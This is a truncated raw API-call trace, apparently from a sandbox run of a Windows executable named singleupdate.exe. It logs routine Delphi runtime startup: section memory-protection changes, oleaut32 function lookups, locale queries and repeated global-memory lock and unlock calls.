[0208.191] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantClear") returned 0x75be9db0 [0208.191] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantInit") returned 0x75be9de0 [0208.191] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.238] VirtualProtect (in: lpAddress=0x401000, dwSize=0x2c1a0, flNewProtect=0x20, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.239] VirtualProtect (in: lpAddress=0x42e000, dwSize=0x2b4, flNewProtect=0x20, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.239] VirtualProtect (in: lpAddress=0x42f000, dwSize=0x2cc4, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.240] VirtualProtect (in: lpAddress=0x432000, dwSize=0x62d4, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.240] VirtualProtect (in: lpAddress=0x439000, dwSize=0x10ec, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.240] VirtualProtect (in: lpAddress=0x43b000, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.241] VirtualProtect (in: lpAddress=0x43c000, dwSize=0x18, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0208.241] VirtualProtect (in: lpAddress=0x43d000, dwSize=0x0, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 0 [0208.241] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0208.241] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0208.242] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0208.263] GetKeyboardType (nTypeFlag=0) returned 4 [0208.268] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" runas" [0208.268] GetStartupInfoA (in: lpStartupInfo=0x19f29c | out: lpStartupInfo=0x19f29c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0208.269] GetACP () returned 0x4e4 [0208.269] GetCurrentThreadId () returned 0x7f0 [0208.269] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19e18c, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0208.269] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19e067, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0208.269] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0208.365] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0208.365] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0208.366] lstrcpynA (in: lpString1=0x19e067, lpString2="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe") returned="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" [0208.366] GetThreadLocale () returned 0x409 [0208.366] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x19e177, cchData=5 | out: lpLCData="ENU") returned 4 [0208.366] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe") returned 40 [0208.366] lstrcpynA (in: lpString1=0x19e08c, lpString2="ENU", iMaxLength=224 | out: lpString1="ENU") returned="ENU" [0208.366] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0208.366] lstrcpynA (in: lpString1=0x19e08c, lpString2="EN", iMaxLength=224 | out: lpString1="EN") returned="EN" [0208.366] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.366] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.367] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.377] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x3cf0000 [0208.378] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x19e2a8, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.378] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x19e2a8, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0208.378] GetVersionExA (in: lpVersionInformation=0x19f240*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xffffffff, dwMinorVersion=0x19f264, dwBuildNumber=0x0, dwPlatformId=0x19f260, szCSDVersion="") | out: lpVersionInformation=0x19f240*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.378] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0208.379] GetProcAddress (hModule=0x75e90000, lpProcName="GetDiskFreeSpaceExA") returned 0x75efee90 [0208.379] GetThreadLocale () returned 0x409 [0208.379] GetSystemMetrics (nIndex=42) returned 0 [0208.379] GetThreadLocale () returned 0x409 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jan") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x19f118, cchData=256 | out: lpLCData="January") returned 8 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x19f118, cchData=256 | out: lpLCData="Feb") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x19f118, cchData=256 | out: lpLCData="February") returned 9 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x19f118, cchData=256 | out: lpLCData="Mar") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x19f118, cchData=256 | out: lpLCData="March") returned 6 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x19f118, cchData=256 | out: lpLCData="Apr") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x19f118, cchData=256 | out: lpLCData="April") returned 6 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x19f118, cchData=256 | out: lpLCData="May") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x19f118, cchData=256 | out: lpLCData="May") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jun") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x19f118, cchData=256 | out: lpLCData="June") returned 5 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jul") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x19f118, cchData=256 | out: lpLCData="July") returned 5 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x19f118, cchData=256 | out: lpLCData="Aug") returned 4 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x19f118, cchData=256 | out: lpLCData="August") returned 7 [0208.379] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sep") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x19f118, cchData=256 | out: lpLCData="September") returned 10 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x19f118, cchData=256 | out: lpLCData="Oct") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x19f118, cchData=256 | out: lpLCData="October") returned 8 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x19f118, cchData=256 | out: lpLCData="Nov") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x19f118, cchData=256 | out: lpLCData="November") returned 9 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x19f118, cchData=256 | out: lpLCData="Dec") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x19f118, cchData=256 | out: lpLCData="December") returned 9 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sun") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sunday") returned 7 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x19f118, cchData=256 | out: lpLCData="Mon") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x19f118, cchData=256 | out: lpLCData="Monday") returned 7 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x19f118, cchData=256 | out: lpLCData="Tue") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x19f118, cchData=256 | out: lpLCData="Tuesday") returned 8 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x19f118, cchData=256 | out: lpLCData="Wed") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x19f118, cchData=256 | out: lpLCData="Wednesday") returned 10 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x19f118, cchData=256 | out: lpLCData="Thu") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x19f118, cchData=256 | out: lpLCData="Thursday") returned 9 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x19f118, cchData=256 | out: lpLCData="Fri") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x19f118, cchData=256 | out: lpLCData="Friday") returned 7 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sat") returned 4 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x19f118, cchData=256 | out: lpLCData="Saturday") returned 9 [0208.380] GetThreadLocale () returned 0x409 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x19f174, cchData=256 | out: lpLCData="$") returned 2 [0208.380] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x19f26c, cchData=2 | out: lpLCData=",") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x19f26c, cchData=2 | out: lpLCData=".") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x19f174, cchData=256 | out: lpLCData="2") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x19f26c, cchData=2 | out: lpLCData="/") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x19f174, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0208.386] GetThreadLocale () returned 0x409 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19f140, cchData=256 | out: lpLCData="1") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x19f174, cchData=256 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0208.386] GetThreadLocale () returned 0x409 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19f140, cchData=256 | out: lpLCData="1") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x19f26c, cchData=2 | out: lpLCData=":") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x19f174, cchData=256 | out: lpLCData="AM") returned 3 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x19f174, cchData=256 | out: lpLCData="PM") returned 3 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0208.386] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x19f26c, cchData=2 | out: lpLCData=",") returned 2 [0208.411] QueryPerformanceCounter (in: lpPerformanceCount=0x19f2c8 | out: lpPerformanceCount=0x19f2c8*=21171410346) returned 1 [0208.417] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x75bb0000 [0208.417] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantChangeTypeEx") returned 0x75bca610 [0208.418] GetProcAddress (hModule=0x75bb0000, lpProcName="VarNeg") returned 0x75c152c0 [0208.418] GetProcAddress (hModule=0x75bb0000, lpProcName="VarNot") returned 0x75c16560 [0208.418] GetProcAddress (hModule=0x75bb0000, lpProcName="VarAdd") returned 0x75bed610 [0208.418] GetProcAddress (hModule=0x75bb0000, lpProcName="VarSub") returned 0x75bee3e0 [0208.418] GetProcAddress (hModule=0x75bb0000, lpProcName="VarMul") returned 0x75bedb10 [0208.418] GetProcAddress (hModule=0x75bb0000, lpProcName="VarDiv") returned 0x75c15800 [0208.418] GetProcAddress (hModule=0x75bb0000, lpProcName="VarIdiv") returned 0x75c161a0 [0208.419] GetProcAddress (hModule=0x75bb0000, lpProcName="VarMod") returned 0x75c16400 [0208.419] GetProcAddress (hModule=0x75bb0000, lpProcName="VarAnd") returned 0x75be3200 [0208.419] GetProcAddress (hModule=0x75bb0000, lpProcName="VarOr") returned 0x75c16610 [0208.419] GetProcAddress (hModule=0x75bb0000, lpProcName="VarXor") returned 0x75c167b0 [0208.419] GetProcAddress (hModule=0x75bb0000, lpProcName="VarCmp") returned 0x75bd60b0 [0208.419] GetProcAddress (hModule=0x75bb0000, lpProcName="VarI4FromStr") returned 0x75bd6ec0 [0208.419] GetProcAddress (hModule=0x75bb0000, lpProcName="VarR4FromStr") returned 0x75be3010 [0208.420] GetProcAddress (hModule=0x75bb0000, lpProcName="VarR8FromStr") returned 0x75be3630 [0208.420] GetProcAddress (hModule=0x75bb0000, lpProcName="VarDateFromStr") returned 0x75bd8b90 [0208.420] GetProcAddress (hModule=0x75bb0000, lpProcName="VarCyFromStr") returned 0x75bc2d90 [0208.420] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBoolFromStr") returned 0x75bd48f0 [0208.420] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromCy") returned 0x75bd7f50 [0208.420] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromDate") returned 0x75bd89c0 [0208.421] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromBool") returned 0x75bd48a0 [0208.457] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.460] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.460] GlobalUnlock (hMem=0x2090004) returned 0 [0208.461] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.477] GlobalLock (hMem=0x209000c) returned 0x3bcb748 [0208.477] GlobalHandle (pMem=0x3bcb748) returned 0x209000c [0208.477] GlobalUnlock (hMem=0x209000c) returned 0 [0208.477] GlobalReAlloc (hMem=0x209000c, dwBytes=0x4000, uFlags=0x2) returned 0x209000c [0208.477] GlobalLock (hMem=0x209000c) returned 0x3bcd758 [0208.478] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.478] GlobalUnlock (hMem=0x2090004) returned 0 [0208.478] GlobalHandle (pMem=0x3bcd758) returned 0x209000c [0208.478] GlobalUnlock (hMem=0x209000c) returned 0 [0208.488] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.488] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.488] GlobalUnlock (hMem=0x209000c) returned 0 [0208.488] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.488] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.488] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.488] GlobalUnlock (hMem=0x209000c) returned 0 [0208.488] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.488] GlobalUnlock (hMem=0x2090004) returned 0 [0208.488] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.488] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.488] GlobalUnlock (hMem=0x2090004) returned 0 [0208.488] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.488] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.488] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.488] GlobalUnlock (hMem=0x2090004) returned 0 [0208.488] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.488] GlobalUnlock (hMem=0x209000c) returned 0 [0208.488] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.488] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.489] GlobalUnlock (hMem=0x209000c) returned 0 [0208.489] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.489] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.489] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.489] GlobalUnlock (hMem=0x209000c) returned 0 [0208.489] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.489] GlobalUnlock (hMem=0x2090004) returned 0 [0208.489] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.489] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.489] GlobalUnlock (hMem=0x2090004) returned 0 [0208.489] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.489] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.489] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.489] GlobalUnlock (hMem=0x2090004) returned 0 [0208.489] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.489] GlobalUnlock (hMem=0x209000c) returned 0 [0208.489] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.489] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.489] GlobalUnlock (hMem=0x209000c) returned 0 [0208.489] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.489] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.489] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.489] GlobalUnlock (hMem=0x209000c) returned 0 [0208.489] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.489] GlobalUnlock (hMem=0x2090004) returned 0 [0208.489] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.489] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.489] GlobalUnlock (hMem=0x2090004) returned 0 [0208.489] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.490] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.490] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.490] GlobalUnlock (hMem=0x2090004) returned 0 [0208.490] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.490] GlobalUnlock (hMem=0x209000c) returned 0 [0208.490] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.490] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.490] GlobalUnlock (hMem=0x209000c) returned 0 [0208.490] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.490] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.490] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.490] GlobalUnlock (hMem=0x209000c) returned 0 [0208.490] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.490] GlobalUnlock (hMem=0x2090004) returned 0 [0208.490] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.490] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.490] GlobalUnlock (hMem=0x2090004) returned 0 [0208.490] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.490] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.490] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.490] GlobalUnlock (hMem=0x2090004) returned 0 [0208.490] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.490] GlobalUnlock (hMem=0x209000c) returned 0 [0208.490] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.490] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.490] GlobalUnlock (hMem=0x209000c) returned 0 [0208.490] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.490] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.490] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.490] GlobalUnlock (hMem=0x2090004) returned 0 [0208.490] GlobalReAlloc (hMem=0x2090004, dwBytes=0x10, uFlags=0x2) returned 0x2090004 [0208.490] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.490] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.490] GlobalUnlock (hMem=0x209000c) returned 0 [0208.491] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.491] GlobalUnlock (hMem=0x2090004) returned 0 [0208.491] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.491] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.491] GlobalUnlock (hMem=0x2090004) returned 0 [0208.491] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.491] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.491] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.491] GlobalUnlock (hMem=0x2090004) returned 0 [0208.491] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.491] GlobalUnlock (hMem=0x209000c) returned 0 [0208.491] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.491] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.491] GlobalUnlock (hMem=0x209000c) returned 0 [0208.491] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.491] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.491] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.491] GlobalUnlock (hMem=0x209000c) returned 0 [0208.491] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.491] GlobalUnlock (hMem=0x2090004) returned 0 [0208.491] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.491] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.491] GlobalUnlock (hMem=0x2090004) returned 0 [0208.491] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.491] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.491] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.492] GlobalUnlock (hMem=0x2090004) returned 0 [0208.492] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.492] GlobalUnlock (hMem=0x209000c) returned 0 [0208.492] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.492] GlobalHandle (pMem=0x3bc7738) returned 